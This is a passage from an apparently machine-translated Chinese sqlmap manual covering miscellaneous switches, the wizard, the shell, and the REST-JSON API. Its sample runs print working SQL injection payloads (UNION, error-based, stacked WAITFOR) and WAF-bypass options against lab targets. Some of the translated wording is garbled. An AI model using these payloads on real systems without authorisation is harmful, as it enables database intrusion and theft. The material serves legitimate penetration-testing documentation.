选项--preprocess

使用此选项,在 sqlmap 检测引擎使用之前(例如,解码数据或删除垃圾)之前,可以使用 (HTTP) 响应数据的预处理脚本。例如,将所有小写字符转换为大写字符的预处理脚本可能是:

#!/usr/bin/env python

def preprocess(page, headers=None, code=None):
    return page.upper() if page else page, headers, code

将选项保存在配置 INI 文件中

选项:--save

可以将命令行选项保存到配置 INI 文件中。然后,可以使用上述选项编辑生成的文件并传递给 sqlmap。-c

更新 sqlmap

开关:--update

使用此选项,您可以直接从 Git 存储库将该工具更新到最新的开发版本。你显然需要互联网接入。

如果由于任何原因此操作失败,请从 sqlmap 工作副本运行。它将执行完全相同的开关操作。如果在 Windows 上运行 sqlmap,可以使用SmartGit客户端。git pull``--update

在向邮件列表报告任何Bug 之前,强烈建议这样做

杂项

使用短的分音

选项:-z

键入所有所需的选项和开关可能会变得繁琐,尤其是对于使用最频繁的选项和开关(例如 )。处理这个问题的方法更简单、更短。在 sqlmap 中, 它被称为 "mnemonics" 。--batch --random-agent --ignore-proxy --technique=BEU

每个选项和开关都可以使用选项以较短的分音形式书写,用逗号字符 () 分隔,其中分形仅表示原始名称中第一个任意选择的部分。没有将选项和交换机严格映射到各自的缩短对应方。唯一必需的条件是,没有其他选项或交换机具有与所需前缀相同的前缀。-z``,

例子:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以以较短的分音形式书写(多种方式之一),例如:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一个示例:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以以较短的分音形式书写,如:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

对成功的 SQL 注入检测发出警报

选项:--alert

找到 SQL 注入时发出蜂鸣音

开关:--beep

如果该用户使用交换机,当发现 SQL 注入时,将立即发出蜂鸣声警告他。当需要测试的目标 URL 有大量批量列表(选项)时,这尤其有用。--beep``-m

从 sqlmap 特定的 UDF 和表中清理 DBMS

开关:--cleanup

建议从 sqlmap 临时表(例如 )中清理端端数据库管理系统,并在接管基础操作系统或文件系统后创建用户定义的函数。交换机将尽可能尝试清理 DBMS 和文件系统。sqlmapoutput``--cleanup

检查依赖项

开关:--dependencies

sqlmap 在某些特殊情况下需要独立安装额外的第三方库(例如选项、隧道切换、HTTP 身份验证类型选项等),并且仅在此类特殊情况下警告用户。但是,如果您想要独立检查所有这些额外的第三方库依赖项,您可以使用 switch 。-d``--os-pwn``icmpsh``--auth-type``NTLM``--dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires \'python-kinterbasdb\' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires \'python-pymssql\' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires \'python pymysql\' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires \'python cx_Oracle\' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires \'python-psycopg2\' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires \'python ibm-db\' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires \'python jaydebeapi & python-jpype\' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires \'python-pyodbc\' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires \'python-pymssql\' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires \'python-ntlm\' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires \'websocket-client\' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制台输出着色

开关:--disable-coloring

sqlmap 默认情况下在写入控制台时使用着色。在意外效果的情况下(例如,控制台外观未解释的 ANSI 着色代码(如 ),您可以使用此开关禁用控制台输出着色。\x01\x1b[0;32m\x02[INFO]

使用来自指定页号的 Google dork 结果

选项:--gpage

默认 sqlmap 选项是执行 Google 搜索并使用前 100 个生成的 URL 进行进一步的 SQL 注入测试。但是,结合此选项,您可以使用此选项 () 指定第一个检索目标 URL 的页面。-g``--gpage

使用 HTTP 参数污染

开关:--hpp

HTTP 参数污染 (HPP) 是一种绕过 WAF/IPS 保护机制的方法(此处说明),对ASP/IIS 和 ASP.NET/IIS 平台特别有效。如果您怀疑目标是此类保护的幕后黑手,可以尝试使用此开关绕过它。

对 WAF/IPS 保护进行彻底测试

开关:--identify-waf

sqlmap 可以尝试标识后端 WAF/IPS 保护(如果有),以便用户可以执行适当的步骤(例如,使用 篡改脚本)。目前支持大约 30 种不同的产品(气闸、梭子鱼 WAF 等),其各自的 WAF 脚本可以在目录内找到。--tamper``waf

针对受 ModSecurity WAF 保护的 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset \'ascii\'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS protection
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'USP Secure Entry Server (Un
ited Security Providers)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'BinarySEC Web Application F
irewall (BinarySEC)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Hyperguard Web Application 
Firewall (art of defence Inc.)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Cisco ACE XML Gateway (Cisc
o Systems)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'TrafficShield (F5 Networks)
\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'KONA Security Solutions (Ak
amai Technologies)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Incapsula Web Application F
irewall (Incapsula/Imperva)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'CloudFlare Web Application 
Firewall (CloudFlare)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Barracuda Web Application F
irewall (Barracuda Networks)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'webApp.secure (webScurity)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Proventia Web Application S
ecurity (IBM)\'
[xx:xx:23] [DEBUG] declared web page charset \'iso-8859-1\'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'KS-WAF (Knownsec)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'NetScaler (Citrix Systems)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'Jiasule Web Application Fir
ewall (Jiasule)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'WebKnight Application Firew
all (AQTRONIX)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'AppWall (Radware)\'
[xx:xx:23] [DEBUG] checking for WAF/IPS product \'ModSecurity: Open Source We
b Application Firewall (Trustwave)\'
[xx:xx:23] [CRITICAL] WAF/IPS identified \'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)\'. Please consider usage of tamper scripts (option \'-
-tamper\')
[...]

跳过 WAF/IPS 保护的启发式检测

开关:--skip-waf

默认情况下,sqlmap 会自动在启动请求中发送一个虚拟参数值,其中包含故意"可疑"的 SQL 注入有效负载(例如 )。如果目标响应方式与原始请求不同,则很有可能受到某种保护。如果出现任何问题,用户可以通过提供开关来禁用此机制。...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1``--skip-waf

模仿智能手机

开关:--mobile

有时,Web 服务器向移动电话公开不同的接口,而不是向台式计算机公开不同的接口。在这种情况下,您可以强制使用预先确定的智能手机 HTTP 用户代理标头值之一。使用此开关,sqlmap 将要求您选择一个流行的智能手机,它会模仿在当前运行。

示例运行:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

脱机模式下工作(仅使用会话数据)

开关:--offline

通过使用 switch sqlmap 将仅在数据枚举中使用上一个会话数据。这基本上意味着在此类运行期间将没有连接尝试。--offline

安全地从数据目录中删除所有内容

开关--purge

如果用户决定安全地从 sqlmap 的数据目录(例如 ,包含以前 sqlmap 运行的所有目标详细信息)中删除所有内容,他可以使用 switch 。清除时,数据文件夹中(子)目录的所有文件都将被随机数据覆盖、截断、重命名为随机名称、(子)目录也将重命名为随机名称,最后将删除整个目录树。$HOME/.local/share/sqlmap``--purge

示例运行:

$ python sqlmap.py --purge -v 3
[...]
[xx:xx:55] [INFO] purging content of directory \'/home/testuser/.local/share/sqlmap\'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只有在启发性阳性时进行彻底测试

开关--smart

在某些情况下,当用户有大量潜在目标 URL列表(例如,提供选项),并且他希望尽快找到易受攻击的目标时。如果使用开关,则只有可以引发 DBMS 错误的参数在扫描中进一步使用。否则,将跳过它们。-m``--smart

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter \'ca\' is dynamic
[xx:xx:14] [WARNING] GET parameter \'ca\' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter \'ca\' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter \'ca\'
[xx:xx:14] [INFO] testing if GET parameter \'user\' is dynamic
[xx:xx:14] [WARNING] GET parameter \'user\' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter \'user\' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter \'user\'
[xx:xx:14] [INFO] testing if GET parameter \'id\' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter \'id\' is dynamic
[xx:xx:14] [INFO] GET parameter \'id\' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter \'id\' might be 
injectable (possible DBMS: \'MySQL\')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter \'id\'
heuristic (parsing) test showed that the back-end DBMS could be \'MySQL\'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for \'MySQL\' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing \'AND boolean-based blind - WHERE or HAVING clause\'
[xx:xx:14] [INFO] GET parameter \'id\' is \'AND boolean-based blind - WHERE or HAVI
NG clause\' injectable 
[xx:xx:14] [INFO] testing \'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
\'
[xx:xx:14] [INFO] GET parameter \'id\' is \'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause\' injectable 
[xx:xx:14] [INFO] testing \'MySQL inline queries\'
[xx:xx:14] [INFO] testing \'MySQL > 5.0.11 stacked queries\'
[xx:xx:14] [INFO] testing \'MySQL < 5.0.12 stacked queries (heavy query)\'
[xx:xx:14] [INFO] testing \'MySQL > 5.0.11 AND time-based blind\'
[xx:xx:24] [INFO] GET parameter \'id\' is \'MySQL > 5.0.11 AND time-based blind\' in
jectable 
[xx:xx:24] [INFO] testing \'MySQL UNION query (NULL) - 1 to 20 columns\'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter \'id\' is \'MySQL UNION query (NULL) - 1 to 20 colu
mns\' injectable
[...]

按有效负载和/或标题选择(或跳过)测试

选项--test-filter

如果您要按测试的有效负载和/或标题筛选测试,您可以使用此选项。例如,如果要测试内部有关键字的所有有效负载,可以使用 。ROW``--test-filter=ROW

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter \'id\' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter \'id\' might be 
injectable (possible DBMS: \'MySQL\')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter \'id\'
[xx:xx:39] [INFO] testing \'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
\'
[xx:xx:39] [INFO] GET parameter \'id\' is \'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause\' injectable 
GET parameter \'id\' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

选项--test-skip=TEST

如果您想要跳过测试的有效负载和/或标题,您可以使用此选项。例如,如果要跳过内部有关键字的所有有效负载,可以使用 。BENCHMARK``--test-skip=BENCHMARK

交互式 sqlmap 外壳

开关:--sqlmap-shell

通过使用交换机,用户将呈现交互式 sqlmap 外壳,该外壳具有以前所有运行的历史记录,以及已使用的选项和/或交换机:--sqlmap-shell

$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .\'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user\'s responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter \'artist\' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter \'artist\' is dynamic
[xx:xx:13] [INFO] GET parameter \'artist\' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter \'artist\' might
 be injectable (possible DBMS: \'MySQL\')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter \'artist\'
it looks like the back-end DBMS is \'MySQL\'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for \'MySQL\' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing \'AND boolean-based blind - WHERE or HAVING clause\'
[xx:xx:13] [INFO] GET parameter \'artist\' seems to be \'AND boolean-based blind - 
WHERE or HAVING clause\' injectable 
[xx:xx:13] [INFO] testing \'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause\'
[xx:xx:13] [INFO] testing \'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause\'
[xx:xx:13] [INFO] testing \'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)\'
[xx:xx:13] [INFO] testing \'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)\'
[xx:xx:14] [INFO] testing \'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause\'
[xx:xx:14] [INFO] testing \'MySQL >= 4.1 OR error-based - WHERE, HAVING clause\'
[xx:xx:14] [INFO] testing \'MySQL OR error-based - WHERE or HAVING clause\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.0 error-based - Parameter replace\'
[xx:xx:14] [INFO] testing \'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)\'
[xx:xx:15] [INFO] testing \'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)\'
[xx:xx:15] [INFO] testing \'MySQL >= 5.5 error-based - Parameter replace (EXP)\'
[xx:xx:15] [INFO] testing \'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)\'
[xx:xx:15] [INFO] testing \'Generic UNION query (NULL) - 1 to 20 columns\'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter \'artist\' is \'Generic UNION query (NULL) - 1 to 2
0 columns\' injectable
GET parameter \'artist\' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under \'/home/stamparm/.sqlma
p/output/testphp.vulnweb.com\'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .\'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user\'s responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS \'mysql\' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    \'5.1.73-0ubuntu0.10.04.1\'
[xx:xx:26] [INFO] fetched data logged to text files under \'/home/stamparm/.sqlma
p/output/testphp.vulnweb.com\' 
sqlmap-shell> exit

Simple wizard interface for beginner users

Switch: --wizard

对于初学者用户,有一个向导界面,它使用简单的工作流,尽可能少的问题。如果用户只是输入目标 URL 并使用默认答案(例如按 ),则在工作流结束时,他应具有正确设置的 sqlmap 运行环境。Enter

针对 Microsoft SQL Server 目标的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user\'s responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be \'Microsoft SQL S
erver\'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for \'Microsoft SQL Server\' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter \'id\' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY \'0:0:5\'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY \'0:0:5\'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    \'sa\'
current database:    \'testdb\'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

sqlmap 可以通过使用 JSON 进行 REST-JSON API API(应用程序应用程序接口的缩写)运行,该 API 使用 JSON 进行 REST(用于 REpentation 状态传输的缩写)服务器和客户端实例之间的通信。在普莱亚比克中,服务器运行 sqlmap 扫描,而客户端正在设置 sqlmap 选项/开关并拉回结果。运行 API 的主程序文件是 ,而客户端也可以在任意用户程序内实现。sqlmapapi.py

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

服务器使用 switch 、客户端使用 switch 运行 ,而在这两种情况下,用户可以(可选)使用选项(默认)设置侦听 IP 地址,使用选项(默认) 设置侦听端口。每个客户端的"会话"可以有多个"任务"(即 sqlmap 扫描运行),用户可以任意选择当前应处于活动状态的任务。sqlmapapi.py``-s``-c``-H``"127.0.0.1"``-p``8775

客户端的命令行接口内部可用的命令有:

  • help- 显示可用命令列表以及基本帮助信息
  • new ARGS- 使用提供的参数启动新的扫描任务(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1")
  • use TASKID- 将当前上下文切换到不同的任务(例如use c04d8c5c7582efb4)
  • data- 检索并显示当前任务的数据
  • log- 检索并显示当前任务的日志
  • status- 检索并显示当前任务的状态
  • stop- 停止当前任务
  • kill- 终止当前任务
  • list- 显示所有任务(当前会话)
  • flush- 刷新(即删除)所有任务
  • exit- 退出客户端接口

服务器运行示例:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at \'0.0.0.0:8775\'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter \'wsgiref\' to run bottle
[12:48:10] [DEBUG] Created new task: \'a42ddaef02e976f0\'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

客户端运行示例:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I \'[a-f0-9
]\{16\}\') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d \'{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}\' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to \'http://192.168.110.1:8775\'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type \'help\' or \'?\' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. \'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"\')
use TASKID  Switch current context to different task (e.g. \'use c04d8c5c7582efb4
\')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is \'a42ddaef02e976f0\'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)> log
